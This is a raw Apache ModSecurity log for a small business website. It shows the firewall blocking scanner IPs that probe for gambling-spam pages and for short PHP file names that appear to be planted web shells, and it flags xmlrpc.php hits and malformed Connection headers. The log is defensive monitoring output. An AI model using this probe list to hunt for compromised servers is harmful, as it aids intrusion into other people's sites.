[Mon Mar 23 17:40:41.323342 2026] [:error] [pid 23539:tid 23564] [client 51.75.119.154:42832] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "acEKmX7Dh3qWGSpIAZUR7gAAANA"]
[Mon Mar 23 17:40:43.791587 2026] [:error] [pid 35165:tid 35170] [client 51.75.119.154:42838] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "acEKm86udpN6Esk7JKupTgAAAYI"]
[Mon Mar 23 17:41:04.962772 2026] [:error] [pid 35165:tid 35179] [client 51.75.119.154:33406] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acEKsM6udpN6Esk7JKupZQAAAYs"]
[Mon Mar 23 17:41:07.396801 2026] [:error] [pid 14573:tid 14599] [client 51.75.119.154:39400] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acEKs--oSmHn3q4_J1GvBwAAAVg"]
[Mon Mar 23 17:41:09.703689 2026] [:error] [pid 23539:tid 23571] [client 51.75.119.154:39402] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acEKtX7Dh3qWGSpIAZUSAwAAANc"]
[Mon Mar 23 17:41:12.032576 2026] [:error] [pid 57265:tid 57289] [client 51.75.119.154:39412] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acEKuGNLjPJJkhuqCsgc3AAAARY"]
[Mon Mar 23 17:41:14.491322 2026] [:error] [pid 35165:tid 35175] [client 51.75.119.154:39418] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acEKus6udpN6Esk7JKupcQAAAYc"]
[Mon Mar 23 17:41:16.951196 2026] [:error] [pid 23441:tid 23517] [client 51.75.119.154:51342] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acEKvBq7S-oOqSXZEr7TSwAAAI4"]
[Mon Mar 23 17:41:19.403365 2026] [:error] [pid 23539:tid 23561] [client 51.75.119.154:51344] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acEKv37Dh3qWGSpIAZUSEgAAAM0"]
[Mon Mar 23 17:41:21.707899 2026] [:error] [pid 14573:tid 14592] [client 51.75.119.154:51350] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acEKwe-oSmHn3q4_J1GvHQAAAVE"]
[Mon Mar 23 17:41:24.017436 2026] [:error] [pid 57265:tid 57272] [client 51.75.119.154:51356] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acEKxGNLjPJJkhuqCsgc7gAAAQU"]
[Mon Mar 23 17:41:26.334958 2026] [:error] [pid 23440:tid 23481] [client 51.75.119.154:35162] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acEKxj49_8n8h_ttcUosjQAAAEU"]
[Mon Mar 23 17:52:06.589016 2026] [:error] [pid 57265:tid 57267] [client 136.158.56.222:34313] [client 136.158.56.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.158.56.222, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acENRmNLjPJJkhuqCsgk6wAAAQA"]
[Mon Mar 23 19:36:47.023965 2026] [:error] [pid 14573:tid 14594] [client 103.211.16.159:58721] [client 103.211.16.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.211.16.159, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acElz--oSmHn3q4_J1Hm3QAAAVM"]
[Mon Mar 23 20:12:09.556885 2026] [:error] [pid 57265:tid 57289] [client 43.130.174.37:58990] [client 43.130.174.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acEuGWNLjPJJkhuqCsh9SQAAARY"]
[Mon Mar 23 23:56:53.464474 2026] [:error] [pid 38306:tid 38321] [client 40.85.246.124:47077] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acFixTkL8qwu-hHc6BjgWAAAAQ0"]
[Mon Mar 23 23:56:53.915548 2026] [:error] [pid 38178:tid 38258] [client 40.85.246.124:47066] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acFixQ0axWfXsVvR9udhbwAAAJA"]
[Mon Mar 23 23:56:54.375620 2026] [:error] [pid 38177:tid 38230] [client 40.85.246.124:46977] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acFixnsYW-_HCI66MukOUgAAAE8"]
[Mon Mar 23 23:56:54.825109 2026] [:error] [pid 38176:tid 38207] [client 40.85.246.124:47076] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp9.php"] [unique_id "acFixktG4qlh1gvNjuJtkAAAABQ"]
[Mon Mar 23 23:56:55.245916 2026] [:error] [pid 38176:tid 38201] [client 40.85.246.124:47089] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "acFix0tG4qlh1gvNjuJtlgAAAA4"]
[Mon Mar 23 23:56:55.658324 2026] [:error] [pid 38306:tid 38316] [client 40.85.246.124:47049] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "acFixzkL8qwu-hHc6BjgWwAAAQg"]
[Mon Mar 23 23:56:56.072021 2026] [:error] [pid 38276:tid 38300] [client 40.85.246.124:47064] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "acFiyJoKGiI-a7oME3IgfQAAANU"]
[Mon Mar 23 23:56:56.566489 2026] [:error] [pid 52341:tid 52361] [client 40.85.246.124:46976] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/path.php"] [unique_id "acFiyKPKTBDR2u47Gb0zOgAAAVI"]
[Mon Mar 23 23:56:57.000587 2026] [:error] [pid 52341:tid 52356] [client 40.85.246.124:47101] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "acFiyKPKTBDR2u47Gb0zPAAAAU0"]
[Mon Mar 23 23:56:57.411964 2026] [:error] [pid 38306:tid 38324] [client 40.85.246.124:47055] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "acFiyTkL8qwu-hHc6BjgYgAAARA"]
[Mon Mar 23 23:56:57.831648 2026] [:error] [pid 38306:tid 38320] [client 40.85.246.124:46994] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "acFiyTkL8qwu-hHc6BjgZwAAAQw"]
[Mon Mar 23 23:56:58.245858 2026] [:error] [pid 38176:tid 38205] [client 40.85.246.124:46980] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wdf.php"] [unique_id "acFiyktG4qlh1gvNjuJtnwAAABI"]
[Mon Mar 23 23:56:58.659165 2026] [:error] [pid 38176:tid 38193] [client 40.85.246.124:46993] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "acFiyktG4qlh1gvNjuJtoAAAAAY"]
[Mon Mar 23 23:56:59.073963 2026] [:error] [pid 38306:tid 38322] [client 40.85.246.124:47059] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "acFiyzkL8qwu-hHc6BjgagAAAQ4"]
[Mon Mar 23 23:56:59.484989 2026] [:error] [pid 52341:tid 52357] [client 40.85.246.124:47046] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "acFiy6PKTBDR2u47Gb0zQwAAAU4"]
[Mon Mar 23 23:56:59.895222 2026] [:error] [pid 52341:tid 52364] [client 40.85.246.124:46987] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fleen.php"] [unique_id "acFiy6PKTBDR2u47Gb0zRwAAAVU"]
[Mon Mar 23 23:57:00.317331 2026] [:error] [pid 38178:tid 38264] [client 40.85.246.124:47046] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av6m.php"] [unique_id "acFizA0axWfXsVvR9udhcQAAAJY"]
[Mon Mar 23 23:57:00.726807 2026] [:error] [pid 52341:tid 52346] [client 40.85.246.124:47044] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av6m.php"] [unique_id "acFizKPKTBDR2u47Gb0zTgAAAUM"]
[Mon Mar 23 23:57:01.147146 2026] [:error] [pid 52341:tid 52355] [client 40.85.246.124:47074] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av6m.php"] [unique_id "acFizaPKTBDR2u47Gb0zVAAAAUw"]
[Mon Mar 23 23:57:01.561099 2026] [:error] [pid 38178:tid 38256] [client 40.85.246.124:47086] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av6m.php"] [unique_id "acFizQ0axWfXsVvR9udhdQAAAI4"]
[Mon Mar 23 23:57:01.971154 2026] [:error] [pid 38177:tid 38235] [client 40.85.246.124:47040] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "acFizXsYW-_HCI66MukOWAAAAFQ"]
[Mon Mar 23 23:57:02.385005 2026] [:error] [pid 52341:tid 52365] [client 40.85.246.124:46990] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "acFizqPKTBDR2u47Gb0zWwAAAVY"]
[Mon Mar 23 23:57:02.804797 2026] [:error] [pid 38306:tid 38328] [client 40.85.246.124:46978] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "acFizjkL8qwu-hHc6BjgbAAAARQ"]
[Mon Mar 23 23:57:03.234473 2026] [:error] [pid 38276:tid 38303] [client 40.85.246.124:46984] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autogooey.php"] [unique_id "acFiz5oKGiI-a7oME3IgfgAAANg"]
[Mon Mar 23 23:57:03.645085 2026] [:error] [pid 38276:tid 38280] [client 40.85.246.124:46983] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "acFiz5oKGiI-a7oME3IggAAAAME"]
[Mon Mar 23 23:57:04.054573 2026] [:error] [pid 38306:tid 38320] [client 40.85.246.124:47042] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "acFi0DkL8qwu-hHc6BjgcQAAAQw"]
[Mon Mar 23 23:57:04.464552 2026] [:error] [pid 38276:tid 38285] [client 40.85.246.124:46989] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "acFi0JoKGiI-a7oME3IggQAAAMY"]
[Mon Mar 23 23:57:04.874403 2026] [:error] [pid 38176:tid 38190] [client 40.85.246.124:46991] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/btx25.php"] [unique_id "acFi0EtG4qlh1gvNjuJtrQAAAAM"]
[Mon Mar 23 23:57:05.287308 2026] [:error] [pid 38177:tid 38236] [client 40.85.246.124:47092] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "acFi0XsYW-_HCI66MukOXAAAAFU"]
[Mon Mar 23 23:57:05.697656 2026] [:error] [pid 38177:tid 38215] [client 40.85.246.124:47043] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "acFi0XsYW-_HCI66MukOYgAAAEA"]
[Mon Mar 23 23:57:06.128567 2026] [:error] [pid 38276:tid 38296] [client 40.85.246.124:47079] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "acFi0poKGiI-a7oME3IgiAAAANE"]
[Mon Mar 23 23:57:06.541394 2026] [:error] [pid 38306:tid 38310] [client 40.85.246.124:46992] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mga.php"] [unique_id "acFi0jkL8qwu-hHc6BjgeQAAAQI"]
[Mon Mar 23 23:57:06.958583 2026] [:error] [pid 38276:tid 38292] [client 40.85.246.124:47073] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "acFi0poKGiI-a7oME3IgiwAAAM0"]
[Mon Mar 23 23:57:07.393447 2026] [:error] [pid 52341:tid 52362] [client 40.85.246.124:47053] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "acFi06PKTBDR2u47Gb0zYgAAAVM"]
[Mon Mar 23 23:57:07.803161 2026] [:error] [pid 38177:tid 38221] [client 40.85.246.124:47063] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "acFi03sYW-_HCI66MukOZAAAAEY"]
[Mon Mar 23 23:57:08.213517 2026] [:error] [pid 52341:tid 52358] [client 40.85.246.124:47000] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/maxro.php"] [unique_id "acFi1KPKTBDR2u47Gb0zaAAAAU8"]
[Mon Mar 23 23:57:08.640292 2026] [:error] [pid 52341:tid 52365] [client 40.85.246.124:47062] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "acFi1KPKTBDR2u47Gb0zaQAAAVY"]
[Mon Mar 23 23:57:09.076073 2026] [:error] [pid 52341:tid 52346] [client 40.85.246.124:47099] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "acFi1aPKTBDR2u47Gb0zawAAAUM"]
[Mon Mar 23 23:57:09.516358 2026] [:error] [pid 52341:tid 52357] [client 40.85.246.124:46998] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "acFi1aPKTBDR2u47Gb0zbgAAAU4"]
[Mon Mar 23 23:57:09.944378 2026] [:error] [pid 52341:tid 52351] [client 40.85.246.124:46926] [client 40.85.246.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "acFi1aPKTBDR2u47Gb0zcQAAAUg"]
